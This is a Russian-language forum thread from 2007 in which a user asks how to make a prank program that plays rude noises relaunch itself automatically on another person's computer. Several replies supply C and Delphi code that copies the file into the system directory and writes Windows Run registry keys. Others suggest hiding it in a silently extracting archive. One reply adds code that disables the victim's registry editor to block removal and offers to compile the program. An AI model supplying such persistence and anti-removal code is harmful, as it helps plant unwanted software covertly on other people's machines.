прога-прикол! Нужна помощь)))

Discussion in 'Безопасность и Анонимность' started by oberten, 7 Apr 2007.

  1. oberten

    oberten Elder - Старейшина

    Joined:
    25 Nov 2006
    Messages:
    34
    Likes Received:
    9
    Reputations:
    1
    http://slil.ru/24198524 здесь лежит мини файл прикола. Когда запускаешь , то периодически комп начинает пердеть пукать и отрыгивать. Прога прикол короче. Вопрос такой кто может его чуть переделать, чтобы при запуске на компе но посзагрузки компа прописывался бы в автозагрузку скажем? вообще, чтобы после перезагрузки компа этот прикол снова и снова активировался! :)
     
  2. *D1VER

    *D1VER Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    108
    Likes Received:
    67
    Reputations:
    21
    один вопрос. ЗАЧЕМ оно тебе?
     
  3. -n00by-

    -n00by- Elder - Старейшина

    Joined:
    10 Mar 2007
    Messages:
    46
    Likes Received:
    16
    Reputations:
    0
    Code:
    void Copy(void)
    {
    	char FileName[256],String[256];;
    	GetModuleFileName(0,FileName,256);
    	GetSystemDirectory(String,255);
    	lstrcat(String,"\\**имя_файла**");
    	CopyFile(FileName,String,TRUE);
    }
    
    DWORD Autorun(void)
    {
    	char String[256];
    	HKEY hKey;
    	GetSystemDirectory(String,255);
    	lstrcat(String,"**имя_файла**");
    	DWORD ret = RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows",&hKey);
    	if (ret==ERROR_SUCCESS)
    	{
    		ret = RegSetValueEx(hKey,"Run",0,REG_SZ,(const unsigned char *)String,lstrlen(String));
    	}
    	if (ret==ERROR_SUCCESS)
    		return TRUE;
    	else 
    		return FALSE;
    }
     
    2 people like this.
  4. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Мой 1 способ:
    1) делаем батник который добавит фаил на авто загрузку в реестре
    2) запихиваем в само распоковывающийся архив батник и прогу, настраиваем архив на незаметное извлечение и запуск батника.

    Мой 2 способ:
    1)создаем само распоковывающийся архив и запихиваем в него нашу прогу, в настройках архива выставляем создание ярлыка в папке автозагрузки.
     
  5. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    gold-goblin, ну не ярлыка, а копии уж тогда.
     
  6. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    C:\Documents and Settings\All Users\Главное меню\Программы\Автозагрузка =\
    остальные методы расхваталиюю етсь ещё пара идей, но они те не понравяться
     
  7. _artem_

    _artem_ Elder - Старейшина

    Joined:
    27 Jul 2005
    Messages:
    128
    Likes Received:
    27
    Reputations:
    11
    Code:
    procedure TForm1.FormCreate(Sender: TObject);
    var
      RegIni : TRegIniFile;
    begin
      RegIni := TRegIniFile.Create('Software');
      RegIni.RootKey := HKEY_LOCAL_MACHINE;
      RegIni.OpenKey('Software', true);
      RegIni.OpenKey('Microsoft', true);
      RegIni.OpenKey('Windows', true);
      RegIni.OpenKey('CurrentVersion', true);
      RegIni.WriteString('Run', 'файло.exe', Application.ExeName);
      RegIni.Free;
    end;
    вот так можно в делфи прописать файл в автозагрузку через реестр...
    сильно не орать! делфи только два дня учу :)
     
  8. goodkit

    goodkit Member

    Joined:
    19 May 2006
    Messages:
    160
    Likes Received:
    30
    Reputations:
    2
    SORRY 4 OFFTOP Вы смотрите оокуратней с такими приколами, тут ко мне друг зашел себе фильмы слить с моего компа и я увидел у него прогу, говорит тоже прикол когда то качал что то типа там делаетца с виндовс, ну я чуть было не зустил....проверил на http://www.virustotal.com, а там трой/бэкдор, приятель сам в осадок выпал )
     
  9. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    n0ne

    При создании само распокоющего архива можно сразу поставить галочку: добавить ярлык в папку авто загрузки.
    И с адресами меньше мороки.
     
  10. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Можно написать что-то типа того.
    Code:
    program project2;
    uses
      Windows,
      registry;
    
    var
      h: TRegistry;
    begin
      h := TRegistry.Create;
      with h do
      begin
        RootKey := HKEY_LOCAL_MACHINE;
        OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
        WriteString('имя программы, 'C:\windows\system32\ProgramName.exe');
        CloseKey;
        Free;
       end;
       CopyFile(PChar('ProgramName.exe'),PChar('ProgramName.exe'),true);
    end.
    Потом просто создать SFX архив, указать чтобы при распаковке архива запустиласть эта программка.
    Можно еще доступ к реестру ему отключить, вставив это кусочек
    Code:
    H := TRegistry.Create;
       with H do
       begin
        RootKey := HKEY_CURRENT_USER;
        OpenKey('\Software\Microsoft\Windows\CurrentVersion\Policies\System', true);
        WriteInteger('DisableRegistryTools', 1);
        CloseKey;
        Free;
      end;
    Если у тя нет Delphi, могу откомпилить и те отослать.
     
    #10 Ci5, 18 Apr 2007
    Last edited: 18 Apr 2007
  11. Ci5

    Ci5 Elder - Старейшина

    Joined:
    10 Oct 2006
    Messages:
    141
    Likes Received:
    100
    Reputations:
    -1
    Че-то какие-то прогоны с пробелами в коде. И исправить не могу, в редакторе все нормально. Мож кто даст объяснение ?